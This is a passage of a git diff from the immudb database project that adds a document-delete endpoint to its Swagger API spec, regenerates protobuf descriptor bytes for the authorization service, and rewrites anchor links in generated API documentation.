nil +} + // ParseDocumentInsertResponse parses an HTTP response from a DocumentInsertWithResponse call func ParseDocumentInsertResponse(rsp *http.Response) (*DocumentInsertResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 128d71b117..ec4a434003 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -298,6 +298,38 @@ ] } }, + "/documents/delete": { + "put": { + "operationId": "DocumentDelete", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelDocumentDeleteResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelDocumentDeleteRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, "/documents/insert": { "put": { "operationId": "DocumentInsert", @@ -713,6 +745,20 @@ } } }, + "modelDocumentDeleteRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "query": { + "$ref": "#/definitions/modelQuery" + } + } + }, + "modelDocumentDeleteResponse": { + "type": "object" + }, "modelDocumentInsertManyRequest": { "type": "object", "properties": { @@ -895,8 +941,7 @@ "operator": { "$ref": "#/definitions/modelComparisonOperator" }, - "value": { - } + "value": {} } }, "modelFieldType": { diff --git a/pkg/api/protomodel/authorization.pb.go b/pkg/api/protomodel/authorization.pb.go index 9dfbdaa997..0a2889b9fd 100644 --- a/pkg/api/protomodel/authorization.pb.go +++ b/pkg/api/protomodel/authorization.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.30.0 +// protoc-gen-go v1.28.1 // protoc v3.21.12 // source: authorization.proto @@ -363,40 +363,40 @@ var file_authorization_proto_rawDesc = []byte{ 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x92, 0x41, 0x11, 0x0a, 0x0d, - 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, - 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x20, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x11, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, - 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x3a, 0x01, - 0x2a, 0x22, 0x20, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, - 0x69, 0x76, 0x65, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, + 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, 0x69, 0x76, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x92, 0x41, 0x0f, - 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x21, 0x3a, 0x01, 0x2a, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, - 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x2f, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x42, 0xad, 0x01, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, 0x12, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, - 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, - 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, - 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, - 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, - 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, - 0x75, 0x74, 0x68, 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, - 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x21, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x63, 0x6c, 0x6f, 0x73, + 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, + 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0xad, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, + 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, + 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, + 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, + 0x20, 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, + 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, + 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, + 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 00dcb7b210..286c6d72a3 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -3,70 +3,70 @@ ## Table of Contents -- [authorization.proto](#authorization-proto) - - [CloseSessionRequest](#immudb-model-CloseSessionRequest) - - [CloseSessionResponse](#immudb-model-CloseSessionResponse) - - [KeepAliveRequest](#immudb-model-KeepAliveRequest) - - [KeepAliveResponse](#immudb-model-KeepAliveResponse) - - [OpenSessionRequest](#immudb-model-OpenSessionRequest) - - [OpenSessionResponse](#immudb-model-OpenSessionResponse) +- [authorization.proto](#authorization.proto) + - [CloseSessionRequest](#immudb.model.CloseSessionRequest) + - [CloseSessionResponse](#immudb.model.CloseSessionResponse) + - [KeepAliveRequest](#immudb.model.KeepAliveRequest) + - [KeepAliveResponse](#immudb.model.KeepAliveResponse) + - [OpenSessionRequest](#immudb.model.OpenSessionRequest) + - [OpenSessionResponse](#immudb.model.OpenSessionResponse) - - [AuthorizationService](#immudb-model-AuthorizationService) + - [AuthorizationService](#immudb.model.AuthorizationService) -- [documents.proto](#documents-proto) - - [Collection](#immudb-model-Collection) - - [CollectionCreateRequest](#immudb-model-CollectionCreateRequest) - - [CollectionCreateResponse](#immudb-model-CollectionCreateResponse) - - [CollectionDeleteRequest](#immudb-model-CollectionDeleteRequest) - - [CollectionDeleteResponse](#immudb-model-CollectionDeleteResponse) - - [CollectionGetRequest](#immudb-model-CollectionGetRequest) - - [CollectionGetResponse](#immudb-model-CollectionGetResponse) - - [CollectionListRequest](#immudb-model-CollectionListRequest) - - [CollectionListResponse](#immudb-model-CollectionListResponse) - - [CollectionUpdateRequest](#immudb-model-CollectionUpdateRequest) - - [CollectionUpdateResponse](#immudb-model-CollectionUpdateResponse) - - [DocumentAtRevision](#immudb-model-DocumentAtRevision) - - [DocumentAuditRequest](#immudb-model-DocumentAuditRequest) - - [DocumentAuditResponse](#immudb-model-DocumentAuditResponse) - - [DocumentDeleteRequest](#immudb-model-DocumentDeleteRequest) - - [DocumentDeleteResponse](#immudb-model-DocumentDeleteResponse) - - [DocumentInsertManyRequest](#immudb-model-DocumentInsertManyRequest) - - [DocumentInsertManyResponse](#immudb-model-DocumentInsertManyResponse) - - [DocumentInsertRequest](#immudb-model-DocumentInsertRequest) - - [DocumentInsertResponse](#immudb-model-DocumentInsertResponse) - - [DocumentProofRequest](#immudb-model-DocumentProofRequest) - - [DocumentProofResponse](#immudb-model-DocumentProofResponse) - - [DocumentSearchRequest](#immudb-model-DocumentSearchRequest) - - [DocumentSearchResponse](#immudb-model-DocumentSearchResponse) - - [DocumentUpdateRequest](#immudb-model-DocumentUpdateRequest) - - [DocumentUpdateResponse](#immudb-model-DocumentUpdateResponse) - - [Field](#immudb-model-Field) - - [FieldComparison](#immudb-model-FieldComparison) - - [Index](#immudb-model-Index) - - [IndexCreateRequest](#immudb-model-IndexCreateRequest) - - [IndexCreateResponse](#immudb-model-IndexCreateResponse) - - [IndexDeleteRequest](#immudb-model-IndexDeleteRequest) - - [IndexDeleteResponse](#immudb-model-IndexDeleteResponse) - - [Query](#immudb-model-Query) - - [QueryExpression](#immudb-model-QueryExpression) +- [documents.proto](#documents.proto) + - [Collection](#immudb.model.Collection) + - [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) + - [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) + - [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) + - [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) + - [CollectionGetRequest](#immudb.model.CollectionGetRequest) + - [CollectionGetResponse](#immudb.model.CollectionGetResponse) + - [CollectionListRequest](#immudb.model.CollectionListRequest) + - [CollectionListResponse](#immudb.model.CollectionListResponse) + - [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) + - [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) + - [DocumentAtRevision](#immudb.model.DocumentAtRevision) + - [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) + - [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) + - [DocumentDeleteRequest](#immudb.model.DocumentDeleteRequest) + - [DocumentDeleteResponse](#immudb.model.DocumentDeleteResponse) + - [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) + - [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) + - [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) + - [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) + - [DocumentProofRequest](#immudb.model.DocumentProofRequest) + - [DocumentProofResponse](#immudb.model.DocumentProofResponse) + - [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) + - [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) + - [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) + - [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) + - [Field](#immudb.model.Field) + - [FieldComparison](#immudb.model.FieldComparison) + - [Index](#immudb.model.Index) + - [IndexCreateRequest](#immudb.model.IndexCreateRequest) + - [IndexCreateResponse](#immudb.model.IndexCreateResponse) + - [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) + - [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) + - [Query](#immudb.model.Query) + - [QueryExpression](#immudb.model.QueryExpression) - - [ComparisonOperator](#immudb-model-ComparisonOperator) - - [FieldType](#immudb-model-FieldType) + - [ComparisonOperator](#immudb.model.ComparisonOperator) + - [FieldType](#immudb.model.FieldType) - - [DocumentService](#immudb-model-DocumentService) + - [DocumentService](#immudb.model.DocumentService) - [Scalar Value Types](#scalar-value-types) - +

Top

## authorization.proto - + ### CloseSessionRequest @@ -76,7 +76,7 @@ - + ### CloseSessionResponse @@ -86,7 +86,7 @@ - + ### KeepAliveRequest @@ -96,7 +96,7 @@ - + ### KeepAliveResponse @@ -106,7 +106,7 @@ - + ### OpenSessionRequest @@ -123,7 +123,7 @@ - + ### OpenSessionResponse @@ -147,29 +147,29 @@ - + ### AuthorizationService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| OpenSession | [OpenSessionRequest](#immudb-model-OpenSessionRequest) | [OpenSessionResponse](#immudb-model-OpenSessionResponse) | | -| KeepAlive | [KeepAliveRequest](#immudb-model-KeepAliveRequest) | [KeepAliveResponse](#immudb-model-KeepAliveResponse) | | -| CloseSession | [CloseSessionRequest](#immudb-model-CloseSessionRequest) | [CloseSessionResponse](#immudb-model-CloseSessionResponse) | | +| OpenSession | [OpenSessionRequest](#immudb.model.OpenSessionRequest) | [OpenSessionResponse](#immudb.model.OpenSessionResponse) | | +| KeepAlive | [KeepAliveRequest](#immudb.model.KeepAliveRequest) | [KeepAliveResponse](#immudb.model.KeepAliveResponse) | | +| CloseSession | [CloseSessionRequest](#immudb.model.CloseSessionRequest) | [CloseSessionResponse](#immudb.model.CloseSessionResponse) | | - +

Top

## documents.proto - + ### Collection @@ -179,15 +179,15 @@ | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | idFieldName | [string](#string) | | | -| fields | [Field](#immudb-model-Field) | repeated | | -| indexes | [Index](#immudb-model-Index) | repeated | | +| fields | [Field](#immudb.model.Field) | repeated | | +| indexes | [Index](#immudb.model.Index) | repeated | | - + ### CollectionCreateRequest @@ -197,15 +197,15 @@ | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | idFieldName | [string](#string) | | | -| fields | [Field](#immudb-model-Field) | repeated | | -| indexes | [Index](#immudb-model-Index) | repeated | | +| fields | [Field](#immudb.model.Field) | repeated | | +| indexes | [Index](#immudb.model.Index) | repeated | | - + ### CollectionCreateResponse @@ -215,7 +215,7 @@ - + ### CollectionDeleteRequest @@ -230,7 +230,7 @@ - + ### CollectionDeleteResponse @@ -240,7 +240,7 @@ - + ### CollectionGetRequest @@ -255,7 +255,7 @@ - + ### CollectionGetResponse @@ -263,14 +263,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [Collection](#immudb-model-Collection) | | | +| collection | [Collection](#immudb.model.Collection) | | | - + ### CollectionListRequest @@ -280,7 +280,7 @@ - + ### CollectionListResponse @@ -288,14 +288,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collections | [Collection](#immudb-model-Collection) | repeated | | +| collections | [Collection](#immudb.model.Collection) | repeated | | - + ### CollectionUpdateRequest @@ -311,7 +311,7 @@ - + ### CollectionUpdateResponse @@ -321,7 +321,7 @@ - + ### DocumentAtRevision @@ -331,14 +331,14 @@ | ----- | ---- | ----- | ----------- | | transactionId | [uint64](#uint64) | | | | revision | [uint64](#uint64) | | | -| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - + ### DocumentAuditRequest @@ -357,7 +357,7 @@ - + ### DocumentAuditResponse @@ -365,14 +365,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| revisions | [DocumentAtRevision](#immudb-model-DocumentAtRevision) | repeated | | +| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | - + ### DocumentDeleteRequest @@ -381,14 +381,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| query | [Query](#immudb-model-Query) | | | +| query | [Query](#immudb.model.Query) | | | - + ### DocumentDeleteResponse @@ -398,7 +398,7 @@ - + ### DocumentInsertManyRequest @@ -407,14 +407,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| documents | [google.protobuf.Struct](#google-protobuf-Struct) | repeated | | +| documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | - + ### DocumentInsertManyResponse @@ -430,7 +430,7 @@ - + ### DocumentInsertRequest @@ -439,14 +439,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - + ### DocumentInsertResponse @@ -462,7 +462,7 @@ - + ### DocumentProofRequest @@ -480,7 +480,7 @@ - + ### DocumentProofResponse @@ -492,14 +492,14 @@ | collectionId | [uint32](#uint32) | | | | idFieldName | [string](#string) | | | | encodedDocument | [bytes](#bytes) | | | -| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb-schema-VerifiableTxV2) | | | +| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | - + ### DocumentSearchRequest @@ -509,7 +509,7 @@ | ----- | ---- | ----- | ----------- | | searchID | [string](#string) | | | | collection | [string](#string) | | | -| query | [Query](#immudb-model-Query) | | | +| query | [Query](#immudb.model.Query) | | | | desc | [bool](#bool) | | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | @@ -519,7 +519,7 @@ - + ### DocumentSearchResponse @@ -528,14 +528,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | searchID | [string](#string) | | | -| revisions | [DocumentAtRevision](#immudb-model-DocumentAtRevision) | repeated | | +| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | - + ### DocumentUpdateRequest @@ -544,15 +544,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| query | [Query](#immudb-model-Query) | | | -| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | +| query | [Query](#immudb.model.Query) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - + ### DocumentUpdateResponse @@ -569,7 +569,7 @@ - + ### Field @@ -578,14 +578,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| type | [FieldType](#immudb-model-FieldType) | | | +| type | [FieldType](#immudb.model.FieldType) | | | - + ### FieldComparison @@ -594,15 +594,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | field | [string](#string) | | | -| operator | [ComparisonOperator](#immudb-model-ComparisonOperator) | | | -| value | [google.protobuf.Value](#google-protobuf-Value) | | | +| operator | [ComparisonOperator](#immudb.model.ComparisonOperator) | | | +| value | [google.protobuf.Value](#google.protobuf.Value) | | | - + ### Index @@ -618,7 +618,7 @@ - + ### IndexCreateRequest @@ -635,7 +635,7 @@ - + ### IndexCreateResponse @@ -645,7 +645,7 @@ - + ### IndexDeleteRequest @@ -661,7 +661,7 @@ - + ### IndexDeleteResponse @@ -671,7 +671,7 @@ - + ### Query @@ -679,14 +679,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| expressions | [QueryExpression](#immudb-model-QueryExpression) | repeated | | +| expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated | | - + ### QueryExpression @@ -694,7 +694,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| fieldComparisons | [FieldComparison](#immudb-model-FieldComparison) | repeated | | +| fieldComparisons | [FieldComparison](#immudb.model.FieldComparison) | repeated | | @@ -703,7 +703,7 @@ - + ### ComparisonOperator @@ -720,7 +720,7 @@ - + ### FieldType @@ -738,27 +738,27 @@ - + ### DocumentService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| CollectionCreate | [CollectionCreateRequest](#immudb-model-CollectionCreateRequest) | [CollectionCreateResponse](#immudb-model-CollectionCreateResponse) | | -| CollectionGet | [CollectionGetRequest](#immudb-model-CollectionGetRequest) | [CollectionGetResponse](#immudb-model-CollectionGetResponse) | | -| CollectionList | [CollectionListRequest](#immudb-model-CollectionListRequest) | [CollectionListResponse](#immudb-model-CollectionListResponse) | | -| CollectionDelete | [CollectionDeleteRequest](#immudb-model-CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb-model-CollectionDeleteResponse) | | -| CollectionUpdate | [CollectionUpdateRequest](#immudb-model-CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb-model-CollectionUpdateResponse) | | -| IndexCreate | [IndexCreateRequest](#immudb-model-IndexCreateRequest) | [IndexCreateResponse](#immudb-model-IndexCreateResponse) | | -| IndexDelete | [IndexDeleteRequest](#immudb-model-IndexDeleteRequest) | [IndexDeleteResponse](#immudb-model-IndexDeleteResponse) | | -| DocumentInsert | [DocumentInsertRequest](#immudb-model-DocumentInsertRequest) | [DocumentInsertResponse](#immudb-model-DocumentInsertResponse) | | -| DocumentInsertMany | [DocumentInsertManyRequest](#immudb-model-DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb-model-DocumentInsertManyResponse) | | -| DocumentUpdate | [DocumentUpdateRequest](#immudb-model-DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb-model-DocumentUpdateResponse) | | -| DocumentSearch | [DocumentSearchRequest](#immudb-model-DocumentSearchRequest) | [DocumentSearchResponse](#immudb-model-DocumentSearchResponse) | | -| DocumentAudit | [DocumentAuditRequest](#immudb-model-DocumentAuditRequest) | [DocumentAuditResponse](#immudb-model-DocumentAuditResponse) | | -| DocumentProof | [DocumentProofRequest](#immudb-model-DocumentProofRequest) | [DocumentProofResponse](#immudb-model-DocumentProofResponse) | | -| DocumentDelete | [DocumentDeleteRequest](#immudb-model-DocumentDeleteRequest) | [DocumentDeleteResponse](#immudb-model-DocumentDeleteResponse) | | +| CollectionCreate | [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) | | +| CollectionGet | [CollectionGetRequest](#immudb.model.CollectionGetRequest) | [CollectionGetResponse](#immudb.model.CollectionGetResponse) | | +| CollectionList | [CollectionListRequest](#immudb.model.CollectionListRequest) | [CollectionListResponse](#immudb.model.CollectionListResponse) | | +| CollectionDelete | [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) | | +| CollectionUpdate | [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) | | +| IndexCreate | [IndexCreateRequest](#immudb.model.IndexCreateRequest) | [IndexCreateResponse](#immudb.model.IndexCreateResponse) | | +| IndexDelete | [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) | [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) | | +| DocumentInsert | [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) | | +| DocumentInsertMany | [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) | | +| DocumentUpdate | [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) | | +| DocumentSearch | [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) | | +| DocumentAudit | [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) | | +| DocumentProof | [DocumentProofRequest](#immudb.model.DocumentProofRequest) | 